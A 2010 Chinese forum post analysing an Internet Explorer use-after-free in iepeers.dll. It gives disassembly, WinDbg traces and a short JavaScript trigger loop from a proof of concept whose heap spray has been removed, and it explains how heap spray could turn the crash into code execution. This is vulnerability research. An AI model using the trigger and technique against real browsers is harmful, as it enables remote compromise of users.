• 标 题:IE0DAY:iepeers.dll!CPersistUserData::setAttribute导致内存破坏可能导致远程执行任意代码
  • 作 者:轩辕小聪
  • 时 间:2010-03-12 08:33:44
  • 链 接:http://bbs.pediy.com/showthread.php?t=108724

Microsoft安全预警页面:http://www.microsoft.com/technet/sec...ry/981374.mspx
PoC来源:http://www.rec-sec.com/2010/03/10/in...-free-exploit/

调试环境:IE7(可能不是最全补丁版本),XP sp3 简体中文版,对上面链接取得的PoC,我连Heap Spray部分都去掉了,只分析内存是怎么被破坏的,我用的PoC内容在附件。

iepeers.dll中的CPersistUserData::setAttribute对VT_DISPATCH类型的Variant变量进行转化的过程中的处理失误导致内存破坏,有可能导致远程执行任意代码。


1. 网页COmWindowProxy对象通过mshtml!COmWindowProxy::GetSecurityThunk方法调用mshtml!CreateTearOffThunk为自己创建相应的TearoffThunk类结构。

引用:
.text:3E51A766 53                                      push    ebx             ; int
.text:3E51A767 68 30 59 5B 3E                          push    offset _GUID const * const * const g_apIID_IDispatchEx ; int
.text:3E51A76C 6A 07                                   push    7               ; int
.text:3E51A76E FF 30                                   push    dword ptr [eax] ; int
.text:3E51A770 50                                      push    eax             ; int
.text:3E51A771 57                                      push    edi             ; int
.text:3E51A772 53                                      push    ebx             ; int
.text:3E51A773 68 DC 2F 5B 3E                          push    offset long (CVoid::*const * const COmWindowProxy::s_apfnIDispatchEx)(void) ; int
.text:3E51A778 56                                      push    esi             ; int
.text:3E51A779 E8 4B 85 09 00                          call    CreateTearOffThunk(void *,void const *,IUnknown *,void * *,void *,void *,ulong,_GUID const * const *,void *)
2. 当对TearoffThunk类结构调用jscript!IDispatchExGetDispID时,后者通过TearoffThunk类结构调用mshtml!TearoffThunk7,使其跳到mshtml!COmWindowProxy::subGetDispID。

引用:
.text:75BE302B
.text:75BE302B long __stdcall IDispatchExGetDispID(class CSession *, struct IDispatchEx *, unsigned short *, unsigned long, long *) proc near
.text:75BE302B                                         ; CODE XREF: GetDex2DispID(CSession *,IDispatchEx *,SYM *,long *,ulong)+30p
.text:75BE302B
.text:75BE302B var_C           = dword ptr -0Ch
.text:75BE302B Session         = dword ptr  8
.text:75BE302B Dispatch        = dword ptr  0Ch
.text:75BE302B arg_8           = dword ptr  10h
.text:75BE302B arg_C           = dword ptr  14h
.text:75BE302B arg_10          = dword ptr  18h
.text:75BE302B
.text:75BE302B ; FUNCTION CHUNK AT .text:75BFFC54 SIZE 00000016 BYTES
.text:75BE302B
.text:75BE302B                 mov     edi, edi
.text:75BE302D                 push    ebp
.text:75BE302E                 mov     ebp, esp
.text:75BE3030                 sub     esp, 0Ch
.text:75BE3033                 push    esi
.text:75BE3034                 push    0
.text:75BE3036                 lea     ecx, [ebp+var_C]
.text:75BE3039                 call    TLS_NoDestructor::TLS_NoDestructor(COleScript *)
.text:75BE3039
.text:75BE303E                 mov     eax, [ebp+Session]
.text:75BE3041                 test    eax, eax
.text:75BE3043                 jz      short loc_75BE3055
.text:75BE3043
.text:75BE3045                 test    dword ptr [eax+224h], 80000000h
.text:75BE304F                 jnz     loc_75BFFC54
.text:75BE304F
.text:75BE3055
.text:75BE3055 loc_75BE3055:                           ; CODE XREF: IDispatchExGetDispID(CSession *,IDispatchEx *,ushort *,ulong,long *)+18j
.text:75BE3055                 push    [ebp+arg_10]
.text:75BE3058                 mov     eax, [ebp+Dispatch] ; pointer of TearoffThunk structure
.text:75BE305B                 push    [ebp+arg_C]
.text:75BE305E                 mov     ecx, [eax]
.text:75BE3060                 push    [ebp+arg_8]
.text:75BE3063                 push    eax
.text:75BE3064                 call    dword ptr [ecx+1Ch] ; mshtml!TearoffThunk7
.text:75BE3064
.text:75BE3067
3. PoC中的网页脚本,在button标签的onClick事件中,采用如下语句将一个新的body标签与UserData绑定:
引用:
var sdfsfsdf = document.createElement("BODY");
sdfsfsdf.addBehavior("#default#userData");
document.appendChild(sdfsfsdf);
4. 之后脚本循环调用body标签的setAttribute方法:
引用:
try
{
for (i=0;i<10;i++)
{
sdfsfsdf.setAttribute('s',window);
}
}
catch(e){}
5. 上面的脚本调用导致iepeers.dll中的CPersistUserData::setAttribute被调用。
对于VT_DISPATCH类的源Variant变量,该函数没有做特别处理,包括没有增加其相应IDispatch对象(这里是TearoffThunk对象)的访问计数,就直接调用了OLEAUT32!VariantChangeTypeEx试图将封装了TearoffThunk类的Variant变量(其类型为VT_DISPATCH)强制转换为Locale为美国英语的VT_BSTR类型:
引用:
.text:58775272
.text:58775272                         ; int __stdcall CPersistUserData__setAttribute(int,int,VARIANTARG pvarSrc)
.text:58775272                         public: virtual long __stdcall CPersistUserData::setAttribute(unsigned short *, struct tagVARIANT) proc near
.text:58775272                                                                 ; DATA XREF: .text:58762FC4o
.text:58775272
.text:58775272                         pvarg           = VARIANTARG ptr -10h
.text:58775272                         arg_0           = dword ptr  8
.text:58775272                         arg_4           = dword ptr  0Ch
.text:58775272                         pvarSrc         = VARIANTARG ptr  10h
.text:58775272
.text:58775272 8B FF                                   mov     edi, edi
.text:58775274 55                                      push    ebp
.text:58775275 8B EC                                   mov     ebp, esp
.text:58775277 83 EC 10                                sub     esp, 10h
.text:5877527A 53                                      push    ebx
.text:5877527B 56                                      push    esi
.text:5877527C 33 F6                                   xor     esi, esi
.text:5877527E 39 75 0C                                cmp     [ebp+arg_4], esi
.text:58775281 57                                      push    edi
.text:58775282 75 0A                                   jnz     short loc_5877528E
.text:58775282
.text:58775284 BF 57 00 07 80                          mov     edi, 80070057h
.text:58775289 E9 C9 00 00 00                          jmp     loc_58775357
.text:58775289
.text:5877528E                         ; ---------------------------------------------------------------------------
.text:5877528E
.text:5877528E                         loc_5877528E:                           ; CODE XREF: CPersistUserData::setAttribute(ushort *,tagVARIANT)+10j
.text:5877528E 8B 5D 08                                mov     ebx, [ebp+arg_0]
.text:58775291 56                                      push    esi
.text:58775292 8B CB                                   mov     ecx, ebx
.text:58775294 E8 92 0F FF FF                          call    CPersistUserData::initXMLCache(int)
.text:58775294
.text:58775299 8B F8                                   mov     edi, eax
.text:5877529B 3B FE                                   cmp     edi, esi
.text:5877529D 0F 85 B4 00 00 00                       jnz     loc_58775357
.text:5877529D
.text:587752A3 39 73 18                                cmp     [ebx+18h], esi
.text:587752A6 0F 84 AB 00 00 00                       jz      loc_58775357
.text:587752A6
.text:587752AC 8B 45 10                                mov     eax, dword ptr [ebp+pvarSrc.anonymous_0] ; VARIANT.vt(VARTYPE) == VT_DISPATCH
.text:587752AF 66 83 F8 08                             cmp     ax, VT_BSTR
.text:587752B3 89 75 F0                                mov     dword ptr [ebp+pvarg.anonymous_0], esi
.text:587752B6 89 75 F4                                mov     dword ptr [ebp+pvarg.anonymous_0+4], esi
.text:587752B9 89 75 F8                                mov     dword ptr [ebp+pvarg.anonymous_0+8], esi
.text:587752BC 74 62                                   jz      short loc_58775320
.text:587752BC
.text:587752BE 66 3D 08 40                             cmp     ax, 4008h
.text:587752C2 74 5C                                   jz      short loc_58775320
.text:587752C2
.text:587752C4 66 83 F8 0B                             cmp     ax, VT_BOOL
.text:587752C8 74 24                                   jz      short loc_587752EE
.text:587752C8
.text:587752CA 66 3D 0B 40                             cmp     ax, 400Bh
.text:587752CE 74 24                                   jz      short loc_587752F4
.text:587752CE
.text:587752D0 6A 08                                   push    VT_BSTR         ; vt
.text:587752D2 6A 00                                   push    0               ; wFlags
.text:587752D4 8D 75 10                                lea     esi, [ebp+pvarSrc]
.text:587752D7 68 09 04 00 00                          push    409h            ; lcid
.text:587752DC 8B C6                                   mov     eax, esi
.text:587752DE 50                                      push    eax             ; pvarSrc
.text:587752DF 50                                      push    eax             ; pvargDest
.text:587752E0 FF 15 58 12 76 58                       call    ds:VariantChangeTypeEx(x,x,x,x,x)
6. 这里问题出现了,上面对VariantChangeTypeEx的调用可以看到,pvarSrc和pvargDest均指向封装了TearoffThunk类的Variant变量。为了将转换的结果写入pvargDest指向的目标Variant,VariantChangeTypeEx必须对其原内容进行清理,因此它对pvargDest(由于iepeers!CPersistUserData::setAttribute调用时传入的参数问题,这里其实也就是指向源Variant)调用了VariantClear,后者调用mshtml!PlainRelease减少了相应TearoffThunk类的访问计数。(感谢27楼对该处的指正)
引用:
.text:770F6B80 loc_770F6B80:                           ; CODE XREF: VariantChangeTypeEx(x,x,x,x,x)-1C5Dj
.text:770F6B80                                         ; VariantChangeTypeEx(x,x,x,x,x)-131Dj
.text:770F6B80                                         ; VariantChangeTypeEx(x,x,x,x,x)-12F2j
.text:770F6B80                                         ; VariantChangeTypeEx(x,x,x,x,x)-D60j
.text:770F6B80                                         ; VariantChangeTypeEx(x,x,x,x,x)-A5Bj
.text:770F6B80                                         ; VariantChangeTypeEx(x,x,x,x,x)-A06j ...
.text:770F6B80                 test    ebx, ebx
.text:770F6B82                 jl      loc_770F643E
.text:770F6B82
.text:770F6B88                 mov     ax, [ebp+vt]
.text:770F6B8C                 mov     word ptr [ebp+pvarg], ax
.text:770F6B90                 mov     eax, [ebp+pvargDest]
.text:770F6B93                 cmp     word ptr [eax], VT_BSTR ; 目标变量的类型是否已转变为VT_BSTR
.text:770F6B97                 jnb     loc_770F4E04    ; 超过8则跳,这里目标Variant就是源Variant,类型还是VT_DISPATCH(9),跳转实现

.text:770F4E04 loc_770F4E04:                           ; CODE XREF: VariantChangeTypeEx(x,x,x,x,x)+ADj
.text:770F4E04                 push    eax             ; pvarg
.text:770F4E05                 call    VariantClear(x)
7. 由于以上提到的原因,iepeers!CPersistUserData::setAttribute每被调用一次(也就是那个脚本中的for循环每循环一次),相应TearoffThunk对象的访问计数就会被减少1。多次的循环下来导致了其访问计数被减小为0,从而mshtml!PlainRelease将其内存区域被程序写到mshtml.dll中的一个可用指针
引用:
.text:3E5B54C8                         loc_3E5B54C8:                           ; CODE XREF: PlainRelease(TEAROFF_THUNK *)+48Aj
.text:3E5B54C8 56                                      push    esi             ; Value
.text:3E5B54C9 8B 35 7C 13 50 3E                       mov     esi, ds:InterlockedExchange(x,x)
.text:3E5B54CF 68 64 9D 80 3E                          push    offset lpMem    ; Target
.text:3E5B54D4 FF D6                                   call    esi ; InterlockedExchange(x,x)
8. 之后在CWindow::PrivateQueryInterface对CreateTearoffThunk的调用中,上面那个“可用指针”被其重用。
引用:
.text:3E5B55FD                         ; Attributes: bp-based frame
.text:3E5B55FD
.text:3E5B55FD                         public: virtual long __stdcall CWindow::PrivateQueryInterface(struct _GUID const &, void * *) proc near
.text:3E5B55FD                                                                 ; DATA XREF: .text:const CWindow::`vftable'{for `CBase'}o
.text:3E5B55FD
.text:3E5B55FD                         arg_0           = dword ptr  8
.text:3E5B55FD                         arg_4           = dword ptr  0Ch
.text:3E5B55FD                         arg_8           = dword ptr  10h
.text:3E5B55FD
.text:3E5B55FD                         ; FUNCTION CHUNK AT .text:3E51AD5E SIZE 00000030 BYTES
.text:3E5B55FD                         ; FUNCTION CHUNK AT .text:3E5B6B34 SIZE 00000042 BYTES
.text:3E5B55FD                         ; FUNCTION CHUNK AT .text:3E5B6BA6 SIZE 00000025 BYTES
.text:3E5B55FD                         ; FUNCTION CHUNK AT .text:3E5B6BF0 SIZE 00000048 BYTES
.text:3E5B55FD                         ; FUNCTION CHUNK AT .text:3E5B8CBE SIZE 0000000D BYTES
.text:3E5B55FD                         ; FUNCTION CHUNK AT .text:3E5DAD16 SIZE 0000001F BYTES
.text:3E5B55FD                         ; FUNCTION CHUNK AT .text:3E5EC29C SIZE 0000001F BYTES
.text:3E5B55FD                         ; FUNCTION CHUNK AT .text:3E601117 SIZE 0000000A BYTES
.text:3E5B55FD                         ; FUNCTION CHUNK AT .text:3E62C921 SIZE 0000000A BYTES
.text:3E5B55FD                         ; FUNCTION CHUNK AT .text:3E648C4D SIZE 0000000A BYTES
.text:3E5B55FD                         ; FUNCTION CHUNK AT .text:3E667A04 SIZE 0000001F BYTES
.text:3E5B55FD                         ; FUNCTION CHUNK AT .text:3E6B6D3B SIZE 0000000D BYTES
.text:3E5B55FD
.text:3E5B55FD 8B FF                                   mov     edi, edi
.text:3E5B55FF 55                                      push    ebp
.text:3E5B5600 8B EC                                   mov     ebp, esp
.text:3E5B5602 53                                      push    ebx
.text:3E5B5603 8B 5D 10                                mov     ebx, [ebp+arg_8]
.text:3E5B5606 56                                      push    esi
.text:3E5B5607 8B 75 0C                                mov     esi, [ebp+arg_4]
.text:3E5B560A 33 D2                                   xor     edx, edx
.text:3E5B560C 89 13                                   mov     [ebx], edx
.text:3E5B560E 8B 06                                   mov     eax, [esi]
.text:3E5B5610 B9 11 04 51 30                          mov     ecx, 30510411h
.text:3E5B5615 3B C1                                   cmp     eax, ecx
.text:3E5B5617 57                                      push    edi
.text:3E5B5618 0F 87 46 01 00 00                       ja      loc_3E5B5764
.text:3E5B5618
.text:3E5B561E 0F 84 FD 72 07 00                       jz      loc_3E62C921
.text:3E5B561E
.text:3E5B5624 B9 94 F5 50 30                          mov     ecx, 3050F594h
.text:3E5B5629 3B C1                                   cmp     eax, ecx
.text:3E5B562B 0F 86 75 15 00 00                       jbe     loc_3E5B6BA6
.text:3E5B562B
.text:3E5B5631 2D B1 F6 50 30                          sub     eax, 3050F6B1h
.text:3E5B5636 0F 84 56 E3 0E 00                       jz      loc_3E6A3992
.text:3E5B5636
.text:3E5B563C 83 E8 1E                                sub     eax, 1Eh
.text:3E5B563F 0F 84 2E E3 0E 00                       jz      loc_3E6A3973
.text:3E5B563F
.text:3E5B5645 83 E8 0D                                sub     eax, 0Dh
.text:3E5B5648 0F 84 E2 B5 0B 00                       jz      near ptr loc_3E670C2C+4
.text:3E5B5648
.text:3E5B564E 2D 32 0D 00 00                          sub     eax, 0D32h
.text:3E5B5653 0F 84 AB 23 0B 00                       jz      loc_3E667A04
.text:3E5B5653
.text:3E5B5659 48                                      dec     eax
.text:3E5B565A 48                                      dec     eax
.text:3E5B565B 0F 85 BB 15 00 00                       jnz     loc_3E5B6C1C
.text:3E5B565B
.text:3E5B5661 BF 70 8D 5B 3E                          mov     edi, offset _IID_IHTMLPrivateWindow2
.text:3E5B5661
.text:3E5B5666
.text:3E5B5666                         loc_3E5B5666:                           ; CODE XREF: CWindow::PrivateQueryInterface(_GUID const &,void * *)+77329j
.text:3E5B5666 6A 04                                   push    4
.text:3E5B5668 59                                      pop     ecx
.text:3E5B5669 33 C0                                   xor     eax, eax
.text:3E5B566B F3 A7                                   repe cmpsd
.text:3E5B566D 0F 85 BB 15 00 00                       jnz     loc_3E5B6C2E
.text:3E5B566D
.text:3E5B5673 52                                      push    edx
.text:3E5B5674 53                                      push    ebx
.text:3E5B5675 52                                      push    edx
.text:3E5B5676 68 A4 56 5B 3E                          push    offset long (CVoid::*const * const CWindow::s_apfnIHTMLPrivateWindow3)(void)
.text:3E5B5676
.text:3E5B567B
.text:3E5B567B                         loc_3E5B567B:                           ; CODE XREF: CWindow::PrivateQueryInterface(_GUID const &,void * *)+36CB9j
.text:3E5B567B                                                                 ; CSecureDispatchProxy::QueryInterface(_GUID const &,void * *)+248Ej
.text:3E5B567B                                                                 ; _IID_IHTMLPrivateWindow+2Aj
.text:3E5B567B                                                                 ; CElement::get_nodeType(long *)+130ADj
.text:3E5B567B                                                                 ; CElement::get_nodeType(long *)+130CCj
.text:3E5B567B                                                                 ; CElement::get_nodeType(long *)+13141j
.text:3E5B567B FF 75 08                                push    [ebp+arg_0]
.text:3E5B567E E8 C4 EE FF FF                          call    CreateTearOffThunk(void *,void const *,IUnknown *,void * *,void *)
.text:3E5B567E
引用:
.text:3E5B2CDF
.text:3E5B2CDF                         loc_3E5B2CDF:                           ; CODE XREF: CreateTearOffThunk(void *,void const *,IUnknown *,void * *,void *,void *,ulong,_GUID const * const *,void *)-2DEE5j
.text:3E5B2CDF 8B 3D 7C 13 50 3E                       mov     edi, ds:InterlockedExchange(x,x)
.text:3E5B2CE5 6A 00                                   push    0               ; Value
.text:3E5B2CE7 68 64 9D 80 3E                          push    offset lpMem    ; Target
.text:3E5B2CEC FF D7                                   call    edi ; InterlockedExchange(x,x)
.text:3E5B2CEE 8B F0                                   mov     esi, eax
.text:3E5B2CF0 85 F6                                   test    esi, esi
.text:3E5B2CF2 0F 84 1F 19 00 00                       jz      loc_3E5B4617
.text:3E5B2CF2
9. 此后脚本执行过程中再次涉及对原TearoffThunk类结构指针调用jscript!IDispatchExGetDispID,这时由于该指针其实已经被重用,原来应该为mshtml!COmWindowProxy::s_apfnIDispatchEx的位置现在已经被mshtml!CWindow::s_apfnIHTMLPrivateWindow3 (3e5b56a4)代替,导致在mshtml!TearoffThunk7中以下位置原本的代码
引用:
.text:3E5B56C0 83 F8 09                                cmp     eax, 9
.text:3E5B56C3 0F 85 6B 14 00 00                       jnz     loc_3E5B6B34
被当成函数指针0x0F09F883:
引用:
ext:3E5B95D6
.text:3E5B95D6                         void __stdcall TearoffThunk7(void) proc near
.text:3E5B95D6                                                                 ; DATA XREF: .data:3E80F234o
.text:3E5B95D6                                                                 ; .data:3E8131ACo
.text:3E5B95D6
.text:3E5B95D6                         arg_0           = dword ptr  4
.text:3E5B95D6
.text:3E5B95D6                         ; FUNCTION CHUNK AT .text:3E6B7B0F SIZE 00000008 BYTES
.text:3E5B95D6
.text:3E5B95D6 8B 44 24 04                             mov     eax, [esp+arg_0]
.text:3E5B95DA 50                                      push    eax
.text:3E5B95DB F7 40 1C 80 00 00 00                    test    dword ptr [eax+1Ch], 80h
.text:3E5B95E2 0F 85 27 E5 0F 00                       jnz     loc_3E6B7B0F
.text:3E5B95E2
.text:3E5B95E8
.text:3E5B95E8                         loc_3E5B95E8:                           ; CODE XREF: TearoffThunk7(void)+FE53Cj
.text:3E5B95E8 83 C0 0C                                add     eax, 0Ch
.text:3E5B95EB 8B 08                                   mov     ecx, [eax]
.text:3E5B95ED 89 4C 24 08                             mov     [esp+4+arg_0], ecx
.text:3E5B95F1 8B 48 04                                mov     ecx, [eax+4]    ; 原为mshtml!COmWindowProxy::s_apfnIDispatchEx,现为mshtml!CWindow::s_apfnIHTMLPrivateWindow3 (3e5b56a4)
.text:3E5B95F4 8B 49 1C                                mov     ecx, [ecx+1Ch]  ; dword ptr [3E5B56C0] == 0x0F09F883
.text:3E5B95F7 58                                      pop     eax
.text:3E5B95F8 C7 40 20 07 00 00 00                    mov     dword ptr [eax+20h], 7
.text:3E5B95FF FF E1                                   jmp     ecx             ; jmp 0x0F09F883,无效内存,抛出异常,或因为被heap spray而跳入shellcode。
.text:3E5B95FF
.text:3E5B95FF                         void __stdcall TearoffThunk7(void) endp
.text:3E5B95FF
从而导致Jmp 0x0F09F883,一般情况下该处内存无效,因此会抛出Access Violation异常。如果配合Heap Spray用nop+shellcode将该区域覆盖,则将可以操纵EIP指针跳入shellcode之中,从而远程执行代码。

综上,iepeers.dll中的CPersistUserData::setAttribute函数在对VT_DISPATCH类型的Variant变量进行处理时,在没有增加其相应IDispatch对象(这里是TearoffThunk对象)的访问计数的情况下调用OLEAUT32!VariantChangeTypeEx试图将其强制转换为VT_BSTR类型,且对OLEAUT32!VariantChangeTypeEx调用所传入的目的指针和源指针一致,使得VariantChangeTypeEx函数在写入转换结果之前对目的指针(也即源指针)调用了VariantClear(感谢27楼的指正,进一步讨论见29楼),导致相应IDispatch对象的访问计数减1。
PoC网页利用精心构造的脚本多次调用CPersistUserData::setAttribute函数,可以使得与COmWindowProxy对象关联的TearoffThunk对象的访问计数被减为0,从而其所在内存区域在之后被重用于与CWindow对象关联。而当后续操作导致对与COmWindowProxy对象关联的TearoffThunk对象调用了TearoffThunk7函数时,由于其已被修改而导致取到错误的函数指针,从而可以操纵eip跳到某个固定的错误地址(在我的IE版本中该地址为0x0F09F883)。通常这个地址为无效内存,从而引发Access Violation异常(拒绝服务),但通过结合Heap Spray技术有可能使该地址被shellcode所占据,从而导致以浏览器进程的用户权限远程执行任意代码。
上传的附件 ie_iepeers_wild.rar

  • 标 题:重点调试过程演示
  • 作 者:轩辕小聪
  • 时 间:2010-03-12 09:28:04

调试方法:
WINDBG载入iexplore.exe,命令行参数为PoC网页路径,第一次停在系统断点,放行之:

引用:
(d4.3c8): Break instruction exception - code 80000003 (first chance)
eax=00251eb4 ebx=7ffda000 ecx=00000003 edx=00000008 esi=00251f48 edi=00251eb4
eip=7c92120e esp=0013fb20 ebp=0013fc94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c92120e cc              int     3
0:000> g
跑起来后IE7会出现为了保护安全性已阻止有关内容执行的条子,这时先在windbg里暂停回到调试器。
在其下位置(jscript!IDispatchExGetDispID中)
.text:75BE3064                 call    dword ptr [ecx+1Ch] ; mshtml!TearoffThunk7
下硬件执行断点(这样下断是因为这时jscript.dll还没有加载,不能bp),g执行:
引用:
0:012> ba e 1 75be3064
0:012> g
这时可以点击允许相关内容执行,很快断下:
引用:
Breakpoint 0 hit
eax=001897e0 ebx=019df8e0 ecx=3e80f218 edx=00000000 esi=00986950 edi=00986950
eip=75be3064 esp=019df81c ebp=019df83c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript!IDispatchExGetDispID+0x48:
75be3064 ff511c          call    dword ptr [ecx+1Ch]  ds:0023:3e80f234={mshtml!TearoffThunk7 (3e5b95d6)}
记下这个eax=001897e0,即之后内存破坏的位置。
继续单步可以看清楚正常的流程,即分析中的第2点,可以看到正确的流程是跳到mshtml!COmWindowProxy::subGetDispID。
引用:
0:005> t
eax=001897ec ebx=019df8e0 ecx=001c98d8 edx=00000000 esi=00986950 edi=00986950
eip=3e5b95f1 esp=019df814 ebp=019df83c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!TearoffThunk7+0x1e:
3e5b95f1 8b4804          mov     ecx,dword ptr [eax+4] ds:0023:001897f0={mshtml!COmWindowProxy::s_apfnIDispatchEx (3e5b2fdc)}
0:005> t
eax=001897ec ebx=019df8e0 ecx=3e5b2fdc edx=00000000 esi=00986950 edi=00986950
eip=3e5b95f4 esp=019df814 ebp=019df83c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!TearoffThunk7+0x21:
3e5b95f4 8b491c          mov     ecx,dword ptr [ecx+1Ch] ds:0023:3e5b2ff8={mshtml!COmWindowProxy::subGetDispID (3e5a830c)}
......
0:005> t
eax=001897e0 ebx=019df8e0 ecx=3e5a830c edx=00000000 esi=00986950 edi=00986950
eip=3e5b95ff esp=019df818 ebp=019df83c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!TearoffThunk7+0x2c:
3e5b95ff ffe1            jmp     ecx {mshtml!COmWindowProxy::subGetDispID (3e5a830c)}
取消刚刚设的断点,对导致内存破坏的始作俑者iepeers.dll!CPersistUserData::setAttribute下断,运行断下:
引用:
0:005> bu iepeers!CPersistUserData::setAttribute
0:005> g
ModLoad: 58760000 58792000   C:\WINDOWS\system32\iepeers.dll
Breakpoint 1 hit
eax=7ffd9000 ebx=58762f98 ecx=58775272 edx=001a8e8a esi=00986310 edi=00000000
eip=58775272 esp=019dc9a8 ebp=019dc9d0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
iepeers!CPersistUserData::setAttribute:
58775272 8bff            mov     edi,edi
单步直接看到对OLEAUT32!VariantChangeTypeEx的调用:
引用:
......
0:005> t
eax=00980009 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=00000000 edi=00000000
eip=587752d0 esp=019dc988 ebp=019dc9a4 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
iepeers!CPersistUserData::setAttribute+0x5e:
587752d0 6a08            push    8
0:005> t
eax=00980009 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=00000000 edi=00000000
eip=587752d2 esp=019dc984 ebp=019dc9a4 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
iepeers!CPersistUserData::setAttribute+0x60:
587752d2 6a00            push    0
0:005> t
eax=00980009 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=00000000 edi=00000000
eip=587752d4 esp=019dc980 ebp=019dc9a4 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
iepeers!CPersistUserData::setAttribute+0x62:
587752d4 8d7510          lea     esi,[ebp+10h]
0:005> t
eax=00980009 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=587752d7 esp=019dc980 ebp=019dc9a4 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
iepeers!CPersistUserData::setAttribute+0x65:
587752d7 6809040000      push    offset <Unloaded_ud.drv>+0x408 (00000409)
0:005> t
eax=00980009 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=587752dc esp=019dc97c ebp=019dc9a4 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
iepeers!CPersistUserData::setAttribute+0x6a:
587752dc 8bc6            mov     eax,esi
0:005> t
eax=019dc9b4 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=587752de esp=019dc97c ebp=019dc9a4 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
iepeers!CPersistUserData::setAttribute+0x6c:
587752de 50              push    eax
0:005> t
eax=019dc9b4 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=587752df esp=019dc978 ebp=019dc9a4 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
iepeers!CPersistUserData::setAttribute+0x6d:
587752df 50              push    eax
0:005> t
eax=019dc9b4 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=587752e0 esp=019dc974 ebp=019dc9a4 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
iepeers!CPersistUserData::setAttribute+0x6e:
587752e0 ff1558127658    call    dword ptr [iepeers!_imp__VariantChangeTypeEx (58761258)] ds:0023:58761258={OLEAUT32!VariantChangeTypeEx (770f6aea)}
单步步进,看到源Variant指针为0x019dc9b4,并从其中取到对应的类指针,正是0x001897e0。
引用:
0:005> t
eax=019dc9b4 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=770f6aff esp=019dc930 ebp=019dc96c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
OLEAUT32!VariantChangeTypeEx+0x15:
770f6aff 8b750c          mov     esi,dword ptr [ebp+0Ch] ss:0023:019dc978=019dc9b4
......
0:005> t
eax=00000061 ebx=00000000 ecx=00000009 edx=0000001b esi=019dc9b4 edi=00000000
eip=770f5786 esp=019dc930 ebp=019dc96c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!VariantChangeTypeEx+0xe9:
770f5786 8b7608          mov     esi,dword ptr [esi+8] ds:0023:019dc9bc=001897e0
单步步进直到看到对OLEAUT32!ExtractValueProperty的调用,注意其第一个参数(最后push的那个)正是esi=001897e0。
引用:
0:005> t
eax=00000061 ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f578f esp=019dc930 ebp=019dc96c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!VariantChangeTypeEx+0xf2:
770f578f 8d45d0          lea     eax,[ebp-30h]
0:005> t
eax=019dc93c ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f5792 esp=019dc930 ebp=019dc96c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!VariantChangeTypeEx+0xf5:
770f5792 50              push    eax
0:005> t
eax=019dc93c ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f5793 esp=019dc92c ebp=019dc96c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!VariantChangeTypeEx+0xf6:
770f5793 ff7510          push    dword ptr [ebp+10h]  ss:0023:019dc97c=00000409
0:005> t
eax=019dc93c ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f5796 esp=019dc928 ebp=019dc96c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!VariantChangeTypeEx+0xf9:
770f5796 56              push    esi
0:005> t
eax=019dc93c ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f5797 esp=019dc924 ebp=019dc96c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!VariantChangeTypeEx+0xfa:
